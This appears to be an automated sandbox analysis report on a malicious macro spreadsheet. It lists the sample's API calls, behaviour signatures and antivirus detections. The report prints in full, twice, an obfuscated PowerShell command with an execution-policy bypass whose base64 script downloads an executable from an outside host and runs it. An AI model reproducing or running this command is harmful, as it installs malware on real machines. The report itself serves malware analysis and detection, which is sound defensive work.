NtCreateFile Aug. 4, 2021, 12:15 p.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000468 filepath: C:\Users\test22\AppData\Local\Temp\~$document.xlsm desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES\|DELETE\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$document.xlsm create_options: 4198496 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT\|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0

Creates a shortcut to an executable file (1 event)

file	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (1 event)

cmdline

powershell -ExecutionPolicy BypasS -ENC JAByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AcwBvAGYAdABlAHIAcwB5AHUALgBjAG8AbQAvAGEAcABpAC8AdgAzAC8AZABlAHQAZQByAG0AaQBuAGEAbgB0AHMALwBiAGUAdAB1AGwAaQBuAGkAYwAvAG0AdQBkAG0AaQBuAG4AbwB3AHMAIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAkAG0AZQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACQAcgBlAHEALgBDAG8AcAB5AFQAbwAoACQAbQBlAG0AKQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBvAGYAdABlAHIAcwB5AHUAIABNAGEAbgBhAGcAZQByAC4AZQB4AGUAIgAgAC0AVgBhAGwAdQBlACAAJABtAGUAbQAuAFQAbwBBAHIAcgBhAHkAKAApACAALQBFAG4AYwBvAGQAaQBuAGcAIABCAHkAdABlAAoAJAByAGUAcQAuAEMAbABvAHMAZQAoACkACgAkAG0AZQBtAC4AQwBsAG8AcwBlACgAKQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBvAGYAdABlAHIAcwB5AHUAIABNAGEAbgBhAGcAZQByAC4AZQB4AGUAIgA=

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Aug. 4, 2021, 12:15 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 4, 2021, 12:15 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

C:\ProgramData\Softersyu Manager.exe

Creates a suspicious Powershell process (1 event)

option

-executionpolicy bypass

value

Attempts to bypass execution policy

File has been identified by 20 AntiVirus engines on VirusTotal as malicious (20 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	VB.Heur2.PwShell.2.13A3F4CE.Gen
FireEye	VB.Heur2.PwShell.2.13A3F4CE.Gen
Symantec	ISB.Downloader!gen92
ESET-NOD32	PowerShell/TrojanDownloader.Agent.AP
Avast	VBA:Downloader-ESC [Trj]
BitDefender	VB.Heur2.PwShell.2.13A3F4CE.Gen
Tencent	Heur.Macro.Generic.a.8e6f1ed5
Ad-Aware	VB.Heur2.PwShell.2.13A3F4CE.Gen
TACHYON	Suspicious/XOX.Obfus.Gen.3
McAfee-GW-Edition	BehavesLike.Downloader.pc
Emsisoft	VB.Heur2.PwShell.2.13A3F4CE.Gen (B)
SentinelOne	Static AI - Malicious OPENXML
Microsoft	TrojanDownloader:O97M/Powdow.DXLM!MTB
GData	VB.Heur2.PwShell.2.13A3F4CE.Gen
MAX	malware (ai score=89)
Zoner	Probably Heur.W97Obfuscated
Rising	Macro.Powershell.b (CLASSIC)
Fortinet	VBA/Agent.AP!tr
AVG	VBA:Downloader-ESC [Trj]

Uses WMI to create a new process (1 event)

Time & API	Arguments	Status	Return	Repeated
IWbemServices_ExecMethod Aug. 4, 2021, 12:15 p.m.	inargs.CurrentDirectory: None inargs.CommandLine: cmd.exe /c "powershell -ExecutionPolicy BypasS -ENC JAByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AcwBvAGYAdABlAHIAcwB5AHUALgBjAG8AbQAvAGEAcABpAC8AdgAzAC8AZABlAHQAZQByAG0AaQBuAGEAbgB0AHMALwBiAGUAdAB1AGwAaQBuAGkAYwAvAG0AdQBkAG0AaQBuAG4AbwB3AHMAIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAkAG0AZQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACQAcgBlAHEALgBDAG8AcAB5AFQAbwAoACQAbQBlAG0AKQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBvAGYAdABlAHIAcwB5AHUAIABNAGEAbgBhAGcAZQByAC4AZQB4AGUAIgAgAC0AVgBhAGwAdQBlACAAJABtAGUAbQAuAFQAbwBBAHIAcgBhAHkAKAApACAALQBFAG4AYwBvAGQAaQBuAGcAIABCAHkAdABlAAoAJAByAGUAcQAuAEMAbABvAHMAZQAoACkACgAkAG0AZQBtAC4AQwBsAG8AcwBlACgAKQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBvAGYAdABlAHIAcwB5AHUAIABNAGEAbgBhAGcAZQByAC4AZQB4AGUAIgA=" inargs.ProcessStartupInformation: {u'ShowWindow': 0, u'FillAttribute': None, u'XSize': None, u'XCountChars': None, u'ErrorMode': 0, u'YSize': None, u'EnvironmentVariables': None, u'Y': None, u'YCountChars': None, u'CreateFlags': None, u'WinstationDesktop': None, u'Title': None, u'X': None, u'PriorityClass': None} outargs.ProcessId: 1716 outargs.ReturnValue: 0 flags: 0 method: Create class: Win32_Process	1	0	0

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

206.189.28.225:443

The process powershell.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\ProgramData\Softersyu Manager.exe

document.xlsm

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All